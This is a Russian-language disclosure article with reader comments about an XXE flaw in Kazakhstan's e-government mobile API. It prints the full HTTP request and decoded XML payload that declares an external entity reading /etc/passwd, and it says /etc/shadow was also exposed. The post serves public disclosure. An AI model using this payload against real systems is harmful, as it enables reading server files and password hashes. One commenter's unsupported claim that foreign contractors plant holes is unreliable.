DISCLAMER!
Описанная в статье уязвимость исправлена и не несет в себе никакой опасности. Публикация написана в целях академического просвещения читателей и демонстрации важности вопросов ИБ. Описанная уязвимость присутствовала на E-GOV несколько лет и позволяла получить доступ к паролям пользователей электронного правительства Казахстана.
Недавно на портале электронного правительства Республики Казахстан egov.kz закрыли критическую уязвимость. Так как баг уже закрыт и его раскрытие больше не представляет угрозы, было принято решение обсудить его с вами, так как с технической и академической точки зрения случай представляет большой интерес для исследователей. Еще один немаловажный момент: в определенных кругах такие ошибки, в частности конкретно эта, известны очень длительное время, и их наличие вызывает много вопросов к уровню компетентности ответственных лиц.

Те, кто всегда пользуется web-сервисами через прокси, чтобы контролировать обмен данными, могли заметить в мобильной версии сайта egov.kz передаваемые на сервер запросы в виде XML. Многие исследователи пробовали подгрузить в запрос сущность, или, простым языком, провести атаку типа XXE.

Запрос выглядел примерно так:

POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type:application/json
code:********************************************
Content-Type: application/json;charset=UTF-8
Content-Length: 926

{"iin":"************","msisdn":"***********","requestXml":"%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.org%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.bee.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%3C%2fiin%3E%3Cphone%3E***********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3CdateOfInstallation%3E2016-06-23%3C%2fdateOfInstallation%3E%3CappId%*****
**************************************************
**************************************************
*************************************%3C%2fappId%3E%3
Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EANDROID%3C
%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion
%3E%3CsmsChannel%3Etrue%3C%2fsmsChannel%3E%3CpushChannel
%3Etrue%3C%2fpushChannel%3E%3C%2fdeviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}

После внесения изменений он выглядел вот так:

POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type:application/json
code:********************************************
Content-Type: application/json;charset=UTF-8
Content-Length: 926

{"iin":"************","msisdn":"***********","requestXml":"%3C%21DOCTYPE%20foo%20%5B
%3C%21ENTITY%20xxe%20SYSTEM%20%5C%22file%3A%2f%2f%2fetc%2fpasswd%5C%22%3E%
20%5D%3E%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.or
g%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.be
e.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%26xxe%3B%3C%2fiin%3E%3Cphone%
3E7**********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3
CdateOfInstallation%3E2016-**-**%3C%2fdateOfInstallation%3E%3CappId%********************************************
*********************************************************************************
*****************%3C%2fappId%3E%3Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EAN
DROID%3C%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion%3E%3CsmsChannel
%3Etrue%3C%2fsmsChannel%3E%3CpushChannel%3Etrue%3C%2fpushChannel%3E%3C%2f
deviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}

Чтобы было понятней, покажем запрос в читаемом виде (добавленные данные выделены):

<b><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]></b><ns3:updateRequest xmlns:ns2=\"http://www.w3.org/2000/09/xmldsig#\" xmlns:ns3=\"http://mgov.bee.kz/mbc/v6\"><iin>************<b>&xxe
</b>;</iin><phone>***********</phone><otpCode>000</otpCode><deviceInfo><dateOfInstallation>2016-**-**</dateOfInstallation>
<appId>*************************************************************
*********************************************************************
**********</appId><imei></imei><operatingSystem>ANDROID</operatingSystem>
<osVersion>5.1.1</osVersion><smsChannel>true</smsChannel>
<pushChannel>true</pushChannel></deviceInfo></ns3:updateRequest>

Как можно заметить, запрашивался файл /etc/passwd и, к удивлению исследователей, в ответ получили его содержимое (снимок экрана прилагается):



Объясняя простым языком, уязвимость позволяла читать локальные файлы сервера, в том числе файл /etc/passwd. Кроме чтения файлов, уязвимость позволяла просматривать содержимое директорий (снимок экрана также прилагается).



Особо одаренные исследователи пользовались скриптами для удобной работы с уязвимостью.



Неописуемое удивление исследователей вызывала возможность чтения файла /etc/shadow — файл содержит хэши паролей пользователей, обычно доступные только привилегированным пользователям.



Все это говорит о том, что сервисы работают с максимальными привилегиями, это очень-очень плохо!

Но есть и хорошая новость: обсуждаемая уязвимость, наконец-то, закрыта (ну как закрыта, просто поставили WAF который блокирует все подряд). Так что теперь данные сервера, а вместе с ними и данные граждан Казахстана, утекают в Интернет медленнее, если еще не утекли.

P.S.: Бага не то чтобы исправлена, она актуальна, но осталась за фаерволом

Комментарии (7)


  1. Ugrum
    30.01.2018 12:18

    Неделя скандалов, интриг и расследований взломов и разборов уязвимостей госсайтов продолжается.
    Спасибо за очередную увлекательную серию!


  1. exformat
    30.01.2018 16:27

    интересно. Кто следующий?


  1. guardian1
    30.01.2018 19:12

    Прочитав статью, понятно что уязвимость далеко не новая, соответственно в современных средствах защиты наверняка применяются различные способы закрытия кроме WAF. Во первых не понятно какого года proof of concept, во вторых уже все закрыто, не интересно. Смысл статьи не понятен. Материал не претендует на звание инновационного и прорывного, только если для школьников и студентов:)


  1. AntonAlekseevich
    30.01.2018 20:59

    Такое ощущение что всем правительствам СНГ [отложить остатки] плевать на данные граждан. Как ни печально. (Не для политики, ради предположения что все не так радужно.)


    1. AntonAlekseevich
      30.01.2018 22:08

      Хотя нет, не всем.


  1. malishich
    31.01.2018 08:09
    +1

    В Казахстане нету грамотных админов в госслужбе. А те что наняты по контракту с запада я очень уверен что специально оставляют «дыры» для западных спецслужб.


    1. TIMOHIUS
      01.02.2018 08:33
      +1

      Дыры оставляют по незнанию. Проблема в зарплатах, потому как хороший специалист за мизер работать не будет. Средний заработок в гос органах у ИТ около 130 000 тг. (~23000 рублей). Соответственно те, кто становятся грамотными специалистами, сразу уходят в нормальное место.